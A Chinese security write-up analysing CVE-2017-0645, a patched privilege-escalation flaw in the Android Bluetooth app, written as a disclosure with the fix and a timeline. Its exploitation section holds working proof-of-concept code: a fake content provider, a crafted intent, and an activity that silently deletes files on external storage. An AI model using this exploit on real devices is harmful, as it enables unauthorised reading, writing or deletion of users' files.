蓝牙App漏洞系列分析之三CVE-2017-0645

0x01 漏洞简介

Android 6月的安全公告,同时还修复了我们发现的一个蓝牙 App 提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一个仿冒的 Provider ,并获取 Provider 所指向文件的读写权限,可用于写 SD 卡或者蓝牙共享数据库,漏洞详情如下:

  • CVE: CVE-2017-0645
  • BugID: A-35310991
  • 严重性: 中危
  • 漏洞类型: 提权
  • Updated AOSP versions: 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

该漏洞其实是一个常规的 Android 组件暴露漏洞,跟我们上一个分析的蓝牙漏洞一样,我们知道在蓝牙 App 中 BluetoothOppLauncherActivity 是可以被第三方应用启动的。这一次,我们来看 onCreate 函数中传入 Intent action 为 android.btopp.intent.action.OPEN 的处理流程。

  1. } else if (action.equals(Constants.ACTION_OPEN)) {
  2. Uri uri = getIntent().getData();
  3. if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);
  4. Intent intent1 = new Intent();
  5. intent1.setAction(action);
  6. intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
  7. intent1.setDataAndNormalize(uri);
  8. this.sendBroadcast(intent1);
  9. finish();

转到 BluetoothOppReceiver 进行处理。接着查看 BluetoothOppReceiver 的 onReceive 函数,由于Intent 可控,这里蓝牙 App 将会取出 intent 中的 Data 进行数据库查询,然后取出 transInfo ,最后进入 BluetoothOppUtility.openReceivedFile 函数。

  1. } else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) {
  2. if (V) {
  3. if (action.equals(Constants.ACTION_OPEN)) {
  4. Log.v(TAG, "Receiver open for " + intent.getData());
  5. } else {
  6. Log.v(TAG, "Receiver list for " + intent.getData());
  7. }
  8. }
  9. BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo();
  10. Uri uri = intent.getData(); //Intent可控!
  11. transInfo = BluetoothOppUtility.queryRecord(context, uri);
  12. if (transInfo == null) {
  13. Log.e(TAG, "Error: Can not get data from db");
  14. return;
  15. }
  16. if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND
  17. && BluetoothShare.isStatusSuccess(transInfo.mStatus)) {
  18. // if received file successfully, open this file
  19. // transInfo可控!
  20. BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName,
  21. transInfo.mFileType, transInfo.mTimeStamp, uri);
  22. BluetoothOppUtility.updateVisibilityToHidden(context, uri);
  23. } else {
  24. Intent in = new Intent(context, BluetoothOppTransferActivity.class);
  25. in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  26. in.setDataAndNormalize(uri);
  27. context.startActivity(in);
  28. }

在 openReceivedFile 函数中,我们看到蓝牙 App 最终将在授予读写权限后,启动能够处理 transInfo.mFileType 文件类型的某外部 App 的 Activity ,对 transInfo.mFileName 进行处理。

  1. public static void openReceivedFile(Context context, String fileName, String mimetype,
  2. Long timeStamp, Uri uri) {
  3. if (fileName == null || mimetype == null) {
  4. Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null");
  5. return;
  6. }
  7. File f = new File(fileName); //fileName可控
  8. if (!f.exists()) {
  9. ...
  10. // skip
  11. }
  12. // path受限于com.google.android.bluetooth.fileprovider使用的位置
  13. Uri path = FileProvider.getUriForFile(context,
  14. "com.google.android.bluetooth.fileprovider", f);
  15. // If there is no scheme, then it must be a file
  16. if (path.getScheme() == null) {
  17. path = Uri.fromFile(new File(fileName));
  18. }
  19. if (isRecognizedFileType(context, path, mimetype)) {
  20. Intent activityIntent = new Intent(Intent.ACTION_VIEW);
  21. activityIntent.setDataAndTypeAndNormalize(path, mimetype);
  22. List<ResolveInfo> resInfoList = context.getPackageManager()
  23. .queryIntentActivities(activityIntent,
  24. PackageManager.MATCH_DEFAULT_ONLY);
  25. // 注意这段,授予任何app对该文件的读写权限
  26. // Grant permissions for any app that can handle a file to access it
  27. for (ResolveInfo resolveInfo : resInfoList) {
  28. String packageName = resolveInfo.activityInfo.packageName;
  29. context.grantUriPermission(packageName, path,
  30. Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
  31. Intent.FLAG_GRANT_READ_URI_PERMISSION);
  32. }
  33. activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  34. // 授予activity对该文件的读写权限
  35. activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
  36. activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
  37. try {
  38. if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype);
  39. context.startActivity(activityIntent);

由于 Intent 可控, Intent Data 可控, transInfo 可控,再加上启动的外部 App 被授予了读写权限,因此这里存在漏洞,我们可以伪造一个文件让蓝牙 App 启动某外部 App 打开,同时该外部 App 获得对伪造文件指向位置的读写权限。可惜此处伪造的文件位置受限于 com.android.bluetooth.filepovider ,其 file_paths.xml 使用的 external-path ,这意味着我们只能伪造一个外部存储 /sdcard 目录的文件。

0x03 漏洞利用

漏洞利用可如下图所示,这种攻击发送 intent 的过程像极了飞去来器。恶意 App 发送 intent 过后,又回到了自己手中,但却获得了提权。

1.恶意 App 声明能对某种 filetype 进行处理

  1. <activity android:name=".FakeViewActivity">
  2. <intent-filter>
  3. <action android:name="android.intent.action.VIEW" />
  4. <category android:name="android.intent.category.DEFAULT" />
  5. <data android:mimeType="xxx/yyy" />
  6. </intent-filter>
  7. </activity>

2.构造一个虚假的 bluetooth share provider——FakeBluetoothOppProvider ,传入 intent data 之中。主要内容可以参考 BluetoothOppProvider ,其 Uri 为

  1. content://fake.bluetooth.provider/btopp/

并expose出来

  1. <provider
  2. android:authorities="fake.bluetooth.provider"
  3. android:name=".FakeBluetoothOppProvider"
  4. android:exported="true" />

然后填入内容,指向 /sdcard 中某个已知文件,并传入 Intent data , 启动 BluetoothOppLauncherActivity

  1. m_btnTest.setOnClickListener(new View.OnClickListener() {
  2. @Override
  3. public void onClick(View v) {
  4. Intent intent = new Intent();
  5. intent.setComponent(new ComponentName("com.android.bluetooth",
  6. "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
  7. intent.setAction(Constants.ACTION_OPEN);
  8. intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1"));
  9. startActivity(intent);
  10. }
  11. });
  12. m_btnAddFakeEntry = (Button)findViewById(R.id.add);
  13. m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() {
  14. @Override
  15. public void onClick(View v) {
  16. ContentValues values = new ContentValues();
  17. values.put(BluetoothShare._ID, 1);
  18. values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND);
  19. values.put(BluetoothShare.TOTAL_BYTES, 110000);
  20. values.put(BluetoothShare.CURRENT_BYTES,110000);
  21. values.put(BluetoothShare.TIMESTAMP, 111111);
  22. values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8");
  23. values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk");
  24. values.put(BluetoothShare.MIMETYPE, "xxx/yyy");
  25. values.put(BluetoothShare.USER_CONFIRMATION, 1);
  26. // when content provider is null, use insert or use update
  27. m_contentResolver.insert(BluetoothShare.CONTENT_URI, values);
  28. // m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null);
  29. }
  30. });

3.蓝牙 App 取出我们构造的 filename, filetype;
4.蓝牙 App 授予读写权限,然后再启动恶意 App 进行处理;
5.恶意 App 直接删除 /sdcard 中的这个文件。

  1. public class FakeViewActivity extends Activity {
  2. final static String TAG = "Bluz";
  3. @Override
  4. protected void onCreate(Bundle savedInstanceState) {
  5. super.onCreate(savedInstanceState);
  6. Intent intent = getIntent();
  7. String dir = intent.getDataString();
  8. Log.d(TAG, "dir is "+dir);
  9. Uri uri = intent.getData();
  10. ContentResolver cr = getContentResolver();
  11. Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!");
  12. getContentResolver().delete(uri, null, null);
  13. }
  14. }

在上述整个过程中,恶意 App 并未申请 SD 卡写权限,因此这是一个提权漏洞。

另外还有一种利用方式,是在 Intent 中直接传入蓝牙 BluetoothOppProvider 的 uri ,比如 content://com.android.bluetooth.opp/btopp/1" ,从而获得对蓝牙共享数据库的读写权限。

完成代码请见这里

0x04 漏洞修复

Google 对该漏洞的修复主要有两点:

1.确保 Intent data 始终为 BluetoothOppProvider 的 Uri ,防止仿冒; 2.撤销了授予第三方应用的读写权限,只授予第三方应用某个 Activity 的读权限。

0x05 时间线

  • 2017.02.15: 漏洞提交
  • 2017.03.01: 漏洞确认,初始评级为高
  • 2017.03.23: 漏洞降级为中
  • 2017.06.01: 补丁发布
  • 2017.06.23: 漏洞公开

蓝牙App漏洞系列分析之三CVE-2017-0645的更多相关文章

  1. 蓝牙App漏洞系列分析之一CVE-2017-0601

    蓝牙App漏洞系列分析之一CVE-2017-0601 0x01 概要 2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 A ...

  2. 蓝牙App漏洞系列分析之二CVE-2017-0639

    蓝牙App漏洞系列分析之二CVE-2017-0639 0x01 漏洞简介 Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有 ...

  3. linux驱动由浅入深系列:高通sensor架构实例分析之三(adsp上报数据详解、校准流程详解)【转】

    本文转载自:https://blog.csdn.net/radianceblau/article/details/76180915 本系列导航: linux驱动由浅入深系列:高通sensor架构实例分 ...

  4. 一步步实现windows版ijkplayer系列文章之三——Ijkplayer播放器源码分析之音视频输出——音频篇

    一步步实现windows版ijkplayer系列文章之一--Windows10平台编译ffmpeg 4.0.2,生成ffplay 一步步实现windows版ijkplayer系列文章之二--Ijkpl ...

  5. Struts2 漏洞系列之S2-001分析

    0x00 前言   最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的.为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现.并且自己去实现相关的POC.相关的环境 ...

  6. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  7. Android多线程分析之三:Handler,Looper的实现

    Android多线程分析之三:Handler,Looper的实现 罗朝辉 (http://www.cnblogs.com/kesalin/) CC 许可,转载请注明出处 在前文<Android多 ...

  8. 利用App漏洞获利2800多万元,企业该如何避免类似事件?

    上个月,上海警方抓捕了一个利用网上银行漏洞非法获利的犯罪团伙,该团伙利用银行App漏洞非法获利2800多万元. 据悉,该团伙使用技术软件成倍放大定期存单金额,从而非法获利.理财邦的一篇文章分析了犯罪嫌 ...

  9. 移动APP漏洞自动化检测平台建设

    移动APP漏洞自动化检测平台建设   前言:本文是<移动APP客户端安全笔记>系列原创文章中的第一篇,主要讲的是企业移动APP自动化漏洞检测平台建设,移动APP漏洞检测发展史与前沿技术,A ...

随机推荐

  1. Oracle数据库导入(expdp)和导出(impdp)

    文档最后,列出了常用的一些导入导出的场景,以及一些导入导出的属性说明. 一.数据库导出(expdp) 使用sys或system账号登录oracle 通过"Window + R" 打 ...

  2. SVN错误信息汇总

    svn错误信息  # # Simplified Chinese translation for subversion package # This file is distributed under ...

  3. Swift3.0封装 AFN 的 GET&POST网络请求

    // // PSNetWorkManage.swift // WeiBoSwift // // Created by 思 彭 on 16/9/25. // Copyright © 2016年 思 彭. ...

  4. Java中验证编码格式的一种方法

    package forlittlecatty; import java.io.File; import java.io.FileInputStream; import java.io.IOExcept ...

  5. Python 内置函数 -- zip(), sorted(), filter()和map()

    内置函数1. zip() 打包(木桶效应)描述: zip() 函数用于将可迭代的对象作为参数, 将对象中对应的元素打包成一个个元组, 然后返回由这些元组组成的列表语法: zip([iterable, ...

  6. UUID相同导致的网络连接问题

    目录 场景 思路 解决过程 提升虚拟机配置 直连交换机 最终解决方案 总结 场景 有同事从公司寄了一台服务器到现场,用来安装数据库.缓存等组件供开发使用.到了之后,连接电源.网线,设置IP,用vSph ...

  7. Nmap之用法

    简介 Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具.软件名字Nmap是Network Mapper的简称. 功能架构图 N ...

  8. idea连接docker实现一键部署

    一.修改配置文件,打开2375端口 [root@microservice ~]# vim /usr/lib/systemd/system/docker.service 在ExecStart=/usr/ ...

  9. 安装OpenCV:OpenCV 3.0、OpenCV 2.4.8、OpenCV 2.4.9 +VS 开发环境配置

    1.下载和安装OpenCV SDK     VS2010不用说,肯定都安装了吧.来说说当前最新的OpenCV版本2.4.8(2014年2月24日),2.4.9 (2014年4月)的下载和安装.与其说是 ...

  10. rocketMq消息的发送和消息消费

    rocketMq消息的发送和消息消费 一.消息推送 public void pushMessage() { String message = "推送消息内容!"; try { De ...